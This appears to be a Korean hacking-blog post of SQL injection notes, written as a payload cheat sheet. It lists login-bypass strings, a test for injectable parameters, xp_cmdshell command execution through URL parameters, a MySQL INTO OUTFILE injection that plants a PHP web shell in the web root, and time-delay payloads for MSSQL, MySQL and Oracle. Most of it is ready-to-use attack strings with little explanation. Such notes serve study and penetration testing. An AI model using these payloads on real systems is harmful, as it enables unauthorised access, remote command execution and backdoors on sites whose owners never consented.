SQL Injection_V2.0

Hacking/Web 2018. 1. 17. 14:57
반응형

1 .인증 우회

 - SELECT * FROM user_table WHERE (username=' ' or '1'='1' and (password=' '); ← password가 공백인 행 리턴 (인증 우회 실패)

 - SELECT * FROM user_table WHERE (username=' ' or 1=1) or ('1'='1' and password=' '); ← 모든 행 리턴 (인증 우회 성공)

 - SELECT * FROM user_table WHERE (username='admin' and 1=1 or '1'='1' and password=' '); ← admin 계정으로 로그인


2. SQL Injection 취약점 검증 방법

 - list.aspx?uid=45/*Hello world*/ ← 기존과 결과가 동일하다면 취약


3. 다중구문 실행

 - MSSQL 6.0 이상 / MySQL 4.1 버전 이후 / Oracle = PL/SQL을 사용하지 않는 한 다중구문 지원X

 - PL/SQL = 오라클 자체에 내장되어 있는 Procedure Language


4. Ibatis 취약점

 - #으로 되어있을 경우 PreparedStatement

ex) SELECT * FROM user WHERE column_name LIKE '%' || #username# || '%'

 - $으로 되어있을 경우 Statement

ex) SELECT * FROM user WHERE column_name LIKE '%' || $username$ || '%'


5. 명령어 실행

 1) MSSQL : xp_cmdshell

http://www.victim.com/welcome.aspx?uid=45; exec master..xp_cmdshell 'ping rootable.tistory.com'; --

 2) MySQL : INTO OUTFILE

http://www.victim.com/search.php?s=test'; SELECT '<?php echo shell_exec($_GET[&quot;cmd&quot;]);?>' INTO OUTFILE '/var/www/html/shell.php'; --


6. 시간지연

 1) MSSQL : WAITFOR DELAY 'hours:minutes:seconds'

ex) basket.aspx?uid=45;waitfor delay '0:0:5';--

2) MySQL : benchmark() 함수

ex) display.php?id=32; SELECT BENCHMARK(1000000,ENCODE('hello','world'));--

3) ORACLE : DBMS_LOCK.SLEEP() 함수

BEGIN

DBMS_LOCK.SLEEP(5);

END;

 - 조건 1: 서브쿼리 형태로 직접 Injection이 불가 (Oracle에서는 중복쿼리(다중구문)을 지원하지 않기 떄문

 - 조건 2 : 오직 DB 관리자만 사용 가능

반응형

'Hacking > Web' 카테고리의 다른 글

XXE Injection  (0) 2018.02.01
SQL Injection With raw MD5 hash  (0) 2018.01.22
SQL Injection  (0) 2018.01.16
파일 다운로드 취약점 시 찾아볼 것  (0) 2017.12.04
SQL Injection 필터링 우회  (0) 2017.11.13
블로그 이미지

rootable

,